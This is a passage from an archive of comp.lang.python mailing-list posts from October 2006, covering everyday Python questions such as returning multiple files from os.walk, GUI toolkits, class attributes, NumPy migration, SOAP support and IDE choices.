urllib2.HTTPCookieProcessor(cj) if url2_proxy: opener = build_opener(url2_proxy,httpCookieProcessor) else: opener = build_opener(httpCookieProcessor) opener.addheaders #$pycheck_no opener.addheaders= app_addheaders urlcookie_openers[user] = opener ufile = opener.open(urllib2.Request(url,data,dict(headers))) ... thread.start_new(f,()) From ericlake at gmail.com Thu Oct 19 14:43:03 2006 From: ericlake at gmail.com (elake) Date: 19 Oct 2006 11:43:03 -0700 Subject: Calling a definition Message-ID: <1161283383.663046.234850@k70g2000cwa.googlegroups.com> I have a piece of code that I need some help with. It is supposed (in my mind at least) take two arguments, a start path and a file extension. Then when called it should return each of the file paths that are found matching the criteria. It is only returning the first file that it finds. What am I doing wrong? # this is in a file called findFile.py def findFileExt(startPath, fileExt): for root, dirs, files in os.walk(startPath): for file in files: if file.endswith(fileExt): filePath = str(os.path.join(root, file)) return filePath # this part is in a different file calling the findFile module ip_list = findFile.getIpRange(net, start, end) for ip in ip_list: src_path = '\\\\%s\\%s\\' % (ip, start_dir) files = findFile.findFileExt(src_path, ext) print files From chris.cavalaria at free.fr Wed Oct 25 05:04:57 2006 From: chris.cavalaria at free.fr (Christophe) Date: Wed, 25 Oct 2006 11:04:57 +0200 Subject: python GUIs comparison (want) In-Reply-To: References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> <453e3c5a$0$23254$426a74cc@news.free.fr> <453f18a6$0$21544$426a74cc@news.free.fr> Message-ID: <453f28b7$0$23797$426a74cc@news.free.fr> Fredrik Lundh a ?crit : > Christophe wrote: > >>>> Also, the Tkinter API is far less elegant than the others. >>> huh? create object, display object, create object, display object. >>> sure looks like plain old Python to me... >> >> Let's see : >> >> .pack(side = "left") ---- >> fred = Button(self, fg = "red", bg = "blue") >> fred["fg"] = "red" ---- >> fred.bind("", turnRed) ---- >> Yep, unelegant API I mantain > > yuck. if that's the kind of UI programs you're writing, we sure have > different design ideals. Those are all small code examples you find in the Python manual! They are not a working program in itself and should not be taken so. I just state my point about an ugly API with them. > and arguing that Tkinter is unelegant when you're doing silly things in > a silly way is a bit like arguing that Python is unelegant because your > first attempt to write a "hello world" program resulted in: > > import sys > # .stdout.write("Hello World") # gives unusable error message > from sys import stdout as glah > glah.writelines(iter(" ".join(["h3110", "W0rlD"]))) > >> And no modern layout manager available. Only those old school >> left/right/up/down pack and anchors are available. > > huh? when did you last look at Tk? 1994? Yesterday. In fact, I could find no mention at all of layout managers others than those working with anchors. Anchors are soooo old school nowadays :) Honestly, I can't stand using anchors or the Packer anymore. The systems used in wx, Qt are much better. Use them once and you cannot live without them anymore. From neoedmund at gmail.com Thu Oct 12 01:55:23 2006 From: neoedmund at gmail.com (neoedmund) Date: 11 Oct 2006 22:55:23 -0700 Subject: hundreds of seconds? In-Reply-To: <1160577496.366622.310080@i3g2000cwc.googlegroups.com> References: <1160577496.366622.310080@i3g2000cwc.googlegroups.com> Message-ID: <1160632523.093618.153100@m73g2000cwd.googlegroups.com> python's time is as old as glibc's time(). A more clear interface as Java should be implements! though i'm not has the ability to do this. maybe some "volenties" could do out the favor. On Oct 11, 10:38 pm, eur.van.an... at gmail.com wrote: > Hi all > > How can I access partial seconds on the system clock? > > I measure air speed and water flow in a heat-exchanger test stand and > count pulses from both water meter and air speed meter. I divide the > amount of these counts over a certain interval with the time of that > interval. Since I only have seconds, I need to wait 100 seconds for may > calculation is I want a precision of 1%. > > The radiator fan that I use can't stand these long intervals, 'cause I > run it with 24V and 50 Amps to get decent airflow (10m/s) through my > heat exchanger. > > Again: how do I get the hundreds of seconds from the system clock? > > In Pascal it was: GetTime( Hr1, Min1, Sec1, cSec1); (yes, I'm that > old). > > --- > ir EE van Andel e... at fiwihex.nlwww.fiwihex.nl > Fiwihex B.V. Wierdensestraat 74, NL7604BK Almelo, Netherlands > tel+31-546-491106 fax+31-546-491107 From Roka100 at gmail.com Tue Oct 3 23:54:29 2006 From: Roka100 at gmail.com (Jia,Lu) Date: 3 Oct 2006 20:54:29 -0700 Subject: How to get keyboard event in Linux console? Message-ID: <1159934069.847446.97150@i3g2000cwc.googlegroups.com> Hi all, I want to deal keyboard event in Linux console. Example: I Create a deamon at background and when I press F1 key then print Hello at Console. Can python do it? with which module? Thanks. From daigno at gmail.com Mon Oct 23 16:56:01 2006 From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault_lists?=) Date: Mon, 23 Oct 2006 16:56:01 -0400 Subject: python class instantiation Message-ID: <453D2C61.7000800@useReplyTo.hotmail.com> Got a question for you all... I noticed a behaviour in python class creation that is strange, to say the least. When creating a class with data members but no __init__ method. Python deals differently with data members that are muatable and immutables. Ex: class A(object): stringData = "Whatever" listData = [] instance = A() Will have data members instantiated as expected (instance.stringData == "Whatever" and instance.listData == []) instance.listData.append("SomeString") instance.stringData = "Changed" Now if I do secondInstance = A() it will come with the listData containing the SomeString appended to the instance... this is clearly not normal Especially that the stringData of Second instance contains the "Whatever" text. If the behaviour was at least consistant... but it is not... Am I coing nuts or is this by desing, if so it is very misleading... The two instances are sharing the same list, but not the same string ... I did not declare the list to be static in any way.... Why does it behave like this ? ?ric From jgodoy at gmail.com Sun Oct 15 17:30:17 2006 From: jgodoy at gmail.com (Jorge Godoy) Date: Sun, 15 Oct 2006 19:30:17 -0200 Subject: IDE that uses an external editor? References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se> <17713.9709.575464.630058@montanaro.dyndns.org> <20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se> <624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com> Message-ID: <87veml468m.fsf@gmail.com> skip at pobox.com writes: > >> #> I realize I can do a lot within Emacs/XEmacs, but I suspect with a > >> #> tool like Eclipse I could do more. However, I don't want to give > >> #> up the text editing power of Emacs to get it. > ... > Ramon> I've tried using Eclipse several times, because several good > Ramon> meaning people told me things like "you coud do more". > > My observation about Eclipse comes simply from watching one of the other > developers at work use it. I'd like to give it a try, but not at the > expense of giving up Emacs. Eclipse: just a GUI over a subset of Emacs today. One day, when it evolves, it will be something interesting... I won't give up on Emacs loading fast and allowing me to work remotely for something that makes the machine crawl and requires almost all of the RAM I have. -- Jorge Godoy From nicola.musatti at gmail.com Fri Oct 20 04:29:04 2006 From: nicola.musatti at gmail.com (Nicola Musatti) Date: 20 Oct 2006 01:29:04 -0700 Subject: Lead Software Engineer In-Reply-To: References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com> <1161301345.261642.247810@b28g2000cwb.googlegroups.com> Message-ID: <1161332943.033311.182940@i3g2000cwc.googlegroups.com> James Stroud wrote: > alex23 wrote: > > Emma wrote: > > > >>5. Please provide us with a comparison of the following music discovery > >> > >>sites: > >> > >>http://www.blogmusik.net > >>http://www.seeqpod.com/music > >>http://www.finetune.com > >>http://www.webjay.com > >> > >>For each of these we like to know: > >>A) What you like and dislike about each of these. > >>B) Which one you like the best. > >>C) Which one you think others might like the best. > >>D) How you would improve the one you like. > > > > > > There _are_ no jobs on offer here. This is just a cheap attempt at > > getting free survey data. > > > > - alex23 > > > > They would get more data if they lowered their expectations for the > programmer position. They would get even more data if they specified where to reply... Unless this is an incredibly lame attempt to increase those sites' traffic. Cheers, Nicola Musatti From jjl at pobox.com Mon Oct 9 18:32:31 2006 From: jjl at pobox.com (John J. Lee) Date: Mon, 09 Oct 2006 22:32:31 GMT Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: <87wt79i0hs.fsf@pobox.com> Steve Holden writes: [...] > > There would also need to be a flag field to indicate the canonical > > ordering > > for writing out the full name: e.g. family-name-first, given-names-first. > > Do we need something else for the Vietnamese case? > > You'd think some standards body would have worked on this, wouldn't > you. I couldn't think of a Google search string that would lead to > such information, though. Maybe other, more determined, readers can do > better. I suppose very few projects actually deal with more than a handful of languages or cultures, but it does surprise me how hard it is to find out about this kind of thing -- especially given that open source projects often end up with all kinds of weird and wonderful localised versions. On a project that involved 9 localisations, just trying to find information on the web about standard collation of diacritics (accented characters) in English, German, and Scandinavian languages was more difficult than I'd expected. And I'm glad I was incompetent to deal with the Japanese collation :-) I found this useful list of things to worry about, though, which does say a little about personal names, though not in detail (and provides some useful Googling terms for somebody determined): http://developers.sun.com/dev/gadc/des_dev/i18ntaxonomy/i18n_taxonomy.pdf which I found from this page: http://www.i18nguy.com/guidelines.html John From Leo.Kislov at gmail.com Mon Oct 30 04:27:07 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 30 Oct 2006 01:27:07 -0800 Subject: Lookuperror : unknown encoding : utf-8 References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com> <1162194168.044962.262720@b28g2000cwb.googlegroups.com> <1162196598.260229.224100@e3g2000cwe.googlegroups.com> <1162197440.574405.195010@m7g2000cwm.googlegroups.com> <1162198497.288698.244940@k70g2000cwa.googlegroups.com> <1162199750.797149.317970@m7g2000cwm.googlegroups.com> Message-ID: <1162200427.209299.4920@m73g2000cwd.googlegroups.com> Sachin Punjabi wrote: > I installed it again but it makes no difference. It still throws me > error for LookUp Error: unknown encoding : utf-8. Most likely you're not using the new python, you're still running old one. -- Leo From ilias at lazaridis.com Wed Oct 4 22:36:17 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 4 Oct 2006 19:36:17 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: <1160015777.559435.247320@b28g2000cwb.googlegroups.com> Robert Kern wrote: > Giovanni Bajo wrote: > > Hello, > > > > I just read this mail by Brett Cannon: > > http://mail.python.org/pipermail/python-dev/2006-October/069139.html > > where the "PSF infrastracture committee", after weeks of evaluation, recommends > > using a non open source tracker (called JIRA - never heard before of course) > > for Python itself. > > > > Does this smell "Bitkeeper fiasco" to anyone else than me? > > No. ?? how do you know the answer?? anyway. - I don't think that a non-open-source system will be selected by the responsible people. Most possibly, they are aware about the basic requirements of an infrastructure - which is control: http://case.lazaridis.com/wiki/Host . From cameron.walsh at gmail.com Tue Oct 10 21:24:35 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Wed, 11 Oct 2006 09:24:35 +0800 Subject: How to share session with IE In-Reply-To: References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com> <1160480177.704013.37770@k70g2000cwa.googlegroups.com> Message-ID: I just thought, your original question was whether or not it was possible to share your browser session with IE. Unless you do this explicitly, you may require a different login for your Python program and for your IE user. If the Python program does not get the same cookie as used by IE, or vice-versa, and tries to login, you may find this resets the login in the other browser. Oh and at risk of starting a flame war get a real browser. From gagsl-py at yahoo.com.ar Wed Oct 25 20:42:12 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 25 Oct 2006 21:42:12 -0300 Subject: What's the best IDE? In-Reply-To: <1161822032.211125.272160@h48g2000cwc.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> Message-ID: <7.0.1.0.0.20061025213407.05f188e8@yahoo.com.ar> At Wednesday 25/10/2006 21:20, Hakusa at gmail.com wrote: >After researching Komodo, I found it's not free. The only funds I have >are a college fund, and I can't start diping into that until I'm going >to college. Any free AND good IDEs? There is a list at http://wiki.python.org/moin/PythonEditors Or use Google Groups to search this group for "best IDE" - once a month someone comes and ask that same question again and again so you'll find plenty of responses... -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From http Thu Oct 19 12:09:49 2006 From: http (Paul Rubin) Date: 19 Oct 2006 09:09:49 -0700 Subject: invert or reverse a string... warning this is a rant References: Message-ID: <7x7iyw70du.fsf@ruckus.brouhaha.com> rick writes: > Why can't Python have a reverse() function/method like Ruby? > > Python: > x = 'a_string' > # Reverse the string > print x[::-1] > > The Ruby approach makes sense to me as a human being. The Python > approach is not easy for me (as a human being) to remember. Can that > be changed or should I just start blindly memorizing this stuff? You could use: print ''.join(reversed(x)) That also looks a little bit weird, but it combines well-known Python idioms straightforwardly. From p.lavarre at ieee.org Wed Oct 25 18:56:13 2006 From: p.lavarre at ieee.org (p.lavarre at ieee.org) Date: 25 Oct 2006 15:56:13 -0700 Subject: FAQ - How do I declare that a CTypes function returns unsigned char? Message-ID: <1161816973.061218.170840@i3g2000cwc.googlegroups.com> Now at http://pyfaq.infogami.com/suggest we have: FAQ: How do I declare that a CTypes function returns unsigned char? A: c_uchar = ctypes.c_ubyte This irregularity actually is doc'ed, it's just pointlessly annoying. Hope this helps (and of course I trust you'll dispute if I'm nuts), From houdinihound at yahoo.com Thu Oct 5 15:49:53 2006 From: houdinihound at yahoo.com (houdinihound at yahoo.com) Date: 5 Oct 2006 12:49:53 -0700 Subject: How do I read Excel file in Python? References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com> <1160061718.605057.243590@h48g2000cwc.googlegroups.com> <1160067650.709670.71460@e3g2000cwe.googlegroups.com> <1160069137.525290.90000@m73g2000cwd.googlegroups.com> <8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com> Message-ID: <1160077793.218033.108840@m73g2000cwd.googlegroups.com> > > >>> excel_date = 38938.0 > > >>> python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date) > > >>> python_date > > datetime.date(2006, 8, 11) > > Err, that's the wrong answer, isn't it? Perhaps it shoud be > datetime.date(1900, 1, 29)? Actually was about to post same solution and got same results. (BTW Simon, the OP date is Aug 9th, 2006). Scratched head and googled for excel date calculations... found this bug where it treats 1900 as leap year incorrectly: http://www.ozgrid.com/Excel/ExcelDateandTimes.htm Plus it treats 1 jan 1900 as day 1, not 0 so just subtract 2 in the calc: >>>python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date - 2) >>> python_date datetime.date(2006, 8, 9) HTH. From david at boddie.org.uk Sat Oct 28 09:13:45 2006 From: david at boddie.org.uk (David Boddie) Date: Sat, 28 Oct 2006 15:13:45 +0200 Subject: PyQt-x11-gpl-3.16 compile error References: <1161952403.534113.59630@f16g2000cwb.googlegroups.com> <1161960442.301226.261210@f16g2000cwb.googlegroups.com> <1162010568.002207.56140@b28g2000cwb.googlegroups.com> Message-ID: <14d84$4543578a$54d1d767$18222@news.chello.no> On Saturday 28 October 2006 06:42, baur79 at gmail.com wrote: > here is th output : > > [root at localhost PyQt-x11-gpl-3.16]# python configure.py -q > /usr/lib/qt-3.3/ -w [...] > Checking to see if the qtcanvas module should be built... > /usr/bin/ld: cannot find -lXext > collect2: ld returned 1 exit status > Checking to see if the qtnetwork module should be built... > /usr/bin/ld: cannot find -lXext > collect2: ld returned 1 exit status > Checking to see if the qttable module should be built... > /usr/bin/ld: cannot find -lXext > collect2: ld returned 1 exit status > Checking to see if the qtxml module should be built... > /usr/bin/ld: cannot find -lXext > collect2: ld returned 1 exit status > Checking to see if the qtgl module should be built... > In file included from cfgtest.cpp:1: > /usr/lib/qt-3.3/include/qgl.h:79:20: error: GL/gl.h: No such file or > directory > /usr/lib/qt-3.3/include/qgl.h:80:21: error: GL/glu.h: No such file or > directory > Checking to see if the qtui module should be built... > /usr/bin/ld: cannot find -lXext > collect2: ld returned 1 exit status > Checking to see if the qtsql module should be built... > /usr/bin/ld: cannot find -lXext > collect2: ld returned 1 exit status > Checking to see if the QAssistantClient class is available... > /usr/bin/ld: cannot find -lmng > collect2: ld returned 1 exit status > Creating features file... > /usr/bin/ld: cannot find -lXext > collect2: ld returned 1 exit status > Error: Unable to build mkfeatures utility. OK. It looks like the directory you specified using the -q option isn't the one you need. You haven't said whether you installed Qt from source, or whether it was installed with the rest of your Linux distribution. If you need to use the -q option (if the script doesn't work without it), try using /usr/share/qt3 - this works for Debian-based distributions, and may also work for other distributions. David From fulvio at tm.net.my Fri Oct 27 10:36:05 2006 From: fulvio at tm.net.my (Fulvio) Date: Fri, 27 Oct 2006 22:36:05 +0800 Subject: Tracing the execution of scripts? In-Reply-To: References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> Message-ID: <200610272236.05223.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Friday 27 October 2006 17:31, R. Bernstein wrote: > pydb (http://bashdb.sf.net/pydb) has a both the ability to trace lines I faced several time that pydb stuck without sign of errors. In the other hand Pdb doesn't appear that problem. Mostly pydb freeze on long loops. It might be some problem on my setup, I'll check it up... F From operagasten at gmail.com Mon Oct 9 12:52:19 2006 From: operagasten at gmail.com (Gasten) Date: 9 Oct 2006 09:52:19 -0700 Subject: A curses-game I need help with. In-Reply-To: <1160302875.055414.148350@m7g2000cwm.googlegroups.com> References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com> Message-ID: <1160412739.247683.218620@k70g2000cwa.googlegroups.com> Hi. I would like to know why no one have answered my post http://groups.google.com/group/comp.lang.python/browse_thread/thread/8424904058bd1734 . It were my first post here (and on the Usenet overall), so I would like to know what I did wrong. Too?many spellingmisstakes? Shitty code? No one understands? No one got the answer? Should I wait a little longer? Thank you. From MonkeeSage at gmail.com Sun Oct 1 20:14:07 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 1 Oct 2006 17:14:07 -0700 Subject: builtin regular expressions? References: <451e37a5$1@news.vo.lu> <451fe857$0$14043$edfadb0f@dread15.news.tele.dk> Message-ID: <1159748047.607967.98170@m7g2000cwm.googlegroups.com> Max M wrote: > When I used to program in Perl I used regex' for lots of stuff. In > python I probably use them once every half year. I sinply do not need them. I think you can pretty much do it either way without any big benefits / losses. There are edge-cases that will break a praser just like there are ones that will break a regexp. In perl5 you can slice strings ( my $s="Cat in a tree"; ${s:0:3} == 'Cat' ) and other things like that, but I seldom see those used except for very trivial cases (i.e., the seeming reverse of the python practice). But this hasn't caused some kind of huge epidemic of non-working programs / libraries in the perl world. If you understand how to use regexps and they are easier for you, there is no reason not to use them. On the other hand, if they make it harder for you, don't use them. Regards, Jordan From greg.landrum at gmail.com Wed Oct 4 01:44:30 2006 From: greg.landrum at gmail.com (greg.landrum at gmail.com) Date: 3 Oct 2006 22:44:30 -0700 Subject: switching to numpy and failing, a user story Message-ID: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> After using numeric for almost ten years, I decided to attempt to switch a large codebase (python and C++) to using numpy. Here's are some comments about how that went. - The code to automatically switch python stuff over just kind of works. But it was a 90% solution, I could do the rest by hand. Of course, the problem is that then the code is still using the old numeric API, so it's not a long term solution. Unfortunately, to switch to the numpy API one needs documentation, which is a problem; see below. - Well, ok, the automatic switching code doesn't really work all that well... my uses of RandomArray still work, but they generate different numbers. The underlying random-number generator must have changed. I'm sure that it's "better" now, but it's different. This is a major pain for my regression tests that rely on seeding the random number generator and getting particular results. But that's ok, I can update the regressions for the new RNG. - My extension modules just won't build because the new numpy stuff lives in a different location from where Numeric used to live. I probably could fix this, but without the documentation I can't figure out how to do that. I'd also need to figure out how to port my code to use the new numpy API instead of the compatibility layer, but I can't do that without docs either. - I guess I should just buy the documentation. I don't like this idea, because I think it's counter-productive to the project to have payware docs (would Python be successful if you had to buy the documentation? I don't think so), but that's the way this project goes. I'm doubly unhappy about it because they payment system is using Paypal and I don't like Paypal at all, but I guess that's just the way it goes. Oh, wait, I *can't* buy the docs because I'm not in the US and the payment page requires a US address. I give up; I guess NumPy is only for people living in the US. I guess I'll come back to NumPy in 2010, when the docs are available. -greg From rurpy at yahoo.com Mon Oct 16 14:06:00 2006 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: 16 Oct 2006 11:06:00 -0700 Subject: OT: What's up with the starship? In-Reply-To: References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> Message-ID: <1161021960.792970.238240@m73g2000cwd.googlegroups.com> Fredrik Lundh wrote: > rurpy at yahoo.com wrote: > > > But, I am still completely at a loss why you, he, or anyone, > > based on the information presented so far,.would conclude > > that the python security problem is unrelated. > > Because he's read the security advisory, perhaps, and understands what > it says? Then perhaps you or he could explain it to us less intelligent people in very simple terms? From bjobrien62 at gmail.com Mon Oct 30 17:44:11 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 30 Oct 2006 14:44:11 -0800 Subject: scared about refrences... In-Reply-To: References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> <1162242647.481298.251320@b28g2000cwb.googlegroups.com> Message-ID: <1162248250.994200.13450@m7g2000cwm.googlegroups.com> Steven D'Aprano wrote: > On Mon, 30 Oct 2006 13:10:47 -0800, SpreadTooThin wrote: > > >> > How do I specify or create deep copies of objects that may contain > >> > other objects that may contain other object that may contain other > >> > objects.... > >> > >> See the `copy` module especially `copy.deepcopy()`. > >> > > > > This appears to be the right thing to do to me.. (but what do I know?) > > Yes, copy.deepcopy() is the thing you want. > > But remember Fredrik's advice that well-designed Python code should not > need to copy data structures often. I don't think I've ever needed to use > deepcopy, and rarely copy.copy(). > > In general, functions should not modify their caller's data. So this is > bad practice: > > def print_list(alist): > """Print a sorted list""" > alist.sort() # modifies the caller's data -- bad! > for index, value in enumerate: > print "Value %s at index %d" % (index, value) > > This is better: > > def print_list(alist): > """Print a sorted list""" > alist = alist[:] # makes a local shallow copy of the list > alist.sort() # safe to modify now > for index, value in enumerate: > print "Value %s at index %d" % (index, value) > > But notice that you only need a shallow copy, not a deep copy, because you > aren't modifying the objects within the list, only the list itself. > > > > > I tried this which more closely resembles my project but this doesn't > > work: > > Unfortunately my crystal ball is back at the shop being repaired, so > you'll have to explain what "doesn't work" means in this case. Does it > raise an exception? If so, please post the exception. Does it do something > different from what you expected? Then what did you expect, and what did > it do? > I seems that some of the objects in the list don't get along well with deep copy.. See my second example post that used deepcopy... When run blows up... > > -- > Steven. From edreamleo at charter.net Wed Oct 4 16:28:10 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Wed, 4 Oct 2006 15:28:10 -0500 Subject: How to ask sax for the file encoding References: <871wpokmv5.fsf@smsnet.pl> Message-ID: > Try this: [snip] Parser.XmlDeclHandler = self.XmlDecl [snip] Excellent! Thanks so much. Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From rdh at new.rr.com Fri Oct 27 10:24:54 2006 From: rdh at new.rr.com (DataSmash) Date: 27 Oct 2006 07:24:54 -0700 Subject: Search & Replace In-Reply-To: References: <1161898031.481159.202310@f16g2000cwb.googlegroups.com> Message-ID: <1161959094.828292.321750@i3g2000cwc.googlegroups.com> Really appreciate all the all the different answers and learning tips! From greg.ewing at canterbury.ac.nz Fri Oct 20 20:33:48 2006 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sat, 21 Oct 2006 13:33:48 +1300 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <7xac3ra6wg.fsf@ruckus.brouhaha.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <7xac3ra6wg.fsf@ruckus.brouhaha.com> Message-ID: <45396AEC.7000808@canterbury.ac.nz> Paul Rubin wrote: > I have yet to see a gui toolkit which doesn't suck. I'm not sure why > that is. Have you seen PyGUI? It's my attempt at creating a GUI toolkit for Python that doesn't suck. I'd be interested to know if you think I've come anywhere near to succeeding. http://www.cosc.canterbury.ac.nz/greg.ewing/python_gui/ -- Greg From vilebuzz at hotmail.com Sun Oct 22 22:40:38 2006 From: vilebuzz at hotmail.com (vilebuzz at hotmail.com) Date: 22 Oct 2006 19:40:38 -0700 Subject: comp.lang.python, comp.sys.ibm.pc.games.rpg, comp.arch.embedded, comp.programming, comp.text.txt Message-ID: <1161571237.942887.159530@m7g2000cwm.googlegroups.com> I sell on ebay alot and I'm starting to search online to find other options to sell computers. What I mainly do is buy used desktops and upgrade them w/ better/newer parts for resale. But do to ebays overwhelming fees racking up every month I've started to look else where. I have since found a site called usfreeads that I have an account w/ thats working fairly well for me as a seller ( http://www.usfreeads.com/_electronics/?affid=18156 ) , it works similar to ebay but as classifieds rather than auctions, so you can negotiate with sellers on prices which helps you to get more contacts, but I'm trying to find out where everyone else is buying/selling at other than ebay, any recomendations? From python.list at tim.thechases.com Tue Oct 3 16:43:12 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 03 Oct 2006 15:43:12 -0500 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Message-ID: <4522CB60.3050808@tim.thechases.com> > def f(var=1): > return var*2 > > What value do I have to pass to f() if I want it to evaluate var to 1? > I know that f() will return 2, but what if I absolutely want to pass a > value to f()? "None" doesn't seem to work.. >>> def f(var=1): ... return var*2 ... >>> f() 2 >>> f(0.5) 1.0 >>> f(123) 246 >>> f('hello') 'hellohello' I'm not sure I follow your problem...what's stopping you from passing a value? -tkc From jeff.clough at gmail.com Fri Oct 13 22:19:36 2006 From: jeff.clough at gmail.com (jeff.clough at gmail.com) Date: 13 Oct 2006 19:19:36 -0700 Subject: Newbie: how to wait for callbacks... In-Reply-To: <12ivg8tpvmv9206@corp.supernews.com> References: <12ivg8tpvmv9206@corp.supernews.com> Message-ID: <1160792376.745345.308920@m7g2000cwm.googlegroups.com> On Oct 13, 12:38 pm, Jan Bakuwel wrote: > Hoi all, > > I'm trying to write a little code that waits for a callback routine to > be called, ideally with a timeout... > > I guess the code below is not right (using a boolean flag), but since > I'm new to Python, I don't know yet where the semaphores live and/or > whether I'm on the right track... > > Any help is much appreciated... > > Jan > > def processEmail(emailMessage): > > sendSent = False > > def sendComplete(result): > print "Message sent successfully" > processEmail.sendSent = True > #end sendComplete > > def sendFailed(error): > print >> sys.stderr, "Error", error.getErrorMessage() > processEmail.sendSent = True > #end sendFailed > > if emailMessage.is_multipart(): > print "...multipart" > for pl in emailMessage.walk(): > pass > else: > print "...not multipart" > # simulate some processing that will take place here > time.sleep(1) > > multiMessage = MIMEMultipart() > multiMessage['From'] = emailMessage['From'] > multiMessage['To'] = emailMessage['To'] > multiMessage['Subject'] = emailMessage['Subject'] > messageData = multiMessage.as_string(unixfrom=False) > sending = smtp.sendmail('smtp', '... at t.t', '... at t.t', messageData) > sending.addCallback(sendComplete).addErrback(sendFailed) > > while not processEmail.sendSent: > print "z" > time.sleep(0.1) > #end while > > print "...done" > #raise smtp.SMTPDeliveryError(code=550, resp="Unable to deliver > email, please try again later", isFatal=True, retry=False) > print "" > #endif > > #end ProcessEmail For semaphores, check out the mutex module (http://docs.python.org/lib/module-mutex.html). For timeouts, look at the alarm signal in the signal module (http://docs.python.org/lib/module-signal.html). --Jeff From paul at boddie.org.uk Tue Oct 24 16:37:44 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 24 Oct 2006 13:37:44 -0700 Subject: The status of Python and SOAP? References: <1161715924.235584.30790@m7g2000cwm.googlegroups.com> Message-ID: <1161722264.621813.144120@f16g2000cwb.googlegroups.com> Thomas W wrote: > I'm going to give a presentation of python to my co-workers at a very > pro-microsoft workplace. Almost everything we need is currently > supported by the standard distro + the win32all package, but we also > need support for SOAP. I've tried SOAPpy ( didn't get it to compile, > needed a library from a dead site ) and a few others, but I cannot help > the feeling that SOAP isn't very high on the list of priorities in the > python community. I hope I'm wrong. The Debian and Ubuntu repositories are quite good at providing complete source packages, even when the original package is incomplete and points you to non-existent or no-longer-existent Web sites. See this page for some leads: http://packages.debian.org/unstable/python/python-soappy (I guess that you're talking about fpconst.) Good luck with the presentation! Paul From durumdara at gmail.com Mon Oct 16 10:41:27 2006 From: durumdara at gmail.com (durumdara) Date: Mon, 16 Oct 2006 16:41:27 +0200 Subject: How to increase buffer size of a file ? Message-ID: <45339A17.1070607@gmail.com> Hello ! How to increase buffer size of a file ? I want to use more buffer, but I don't want to replace every file object with my class. It have a contant in a module ? Thanks for your help: dd From mensanator at aol.com Sat Oct 14 20:30:14 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 14 Oct 2006 17:30:14 -0700 Subject: Starting out. In-Reply-To: References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160784543.238714.132310@k70g2000cwa.googlegroups.com> <1160847793.990888.95790@m7g2000cwm.googlegroups.com> Message-ID: <1160872213.933965.4720@e3g2000cwe.googlegroups.com> Fredrik Lundh wrote: > mensanator at aol.com wrote: > > > (according to the Urban Dictionary). > > talk about reliable sources... Well, as far as doing the research to prove them wrong, I'll give it a miss. > > From johnjsal at NOSPAMgmail.com Mon Oct 30 14:52:15 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 30 Oct 2006 19:52:15 GMT Subject: wxPython TextCtrl - weird scrolling behavior In-Reply-To: <1162237089.308746.70370@e3g2000cwe.googlegroups.com> References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com> Message-ID: abcd wrote: > I have a TextCtrl which is set to be multi-line. I have a function > say, updateText(msg), which takes some string and appends it to the > text control... > > txtControl.AppendText(msg) > > ....however, if the text that I am appending would cause the scroll > bars to appear/or scroll since the text is long the textcontrol appears > to be blank, until you click on the scroll bar...then the text appears. > Any ideas? is this is a sizer problem or a TextCtrl issue?? > > thanks > Don't know for sure, but you can try calling the Refresh() method on the text control and see if that fixes it. From hans at zephyrfalcon.org Wed Oct 18 15:17:18 2006 From: hans at zephyrfalcon.org (Hans Nowak) Date: Wed, 18 Oct 2006 15:17:18 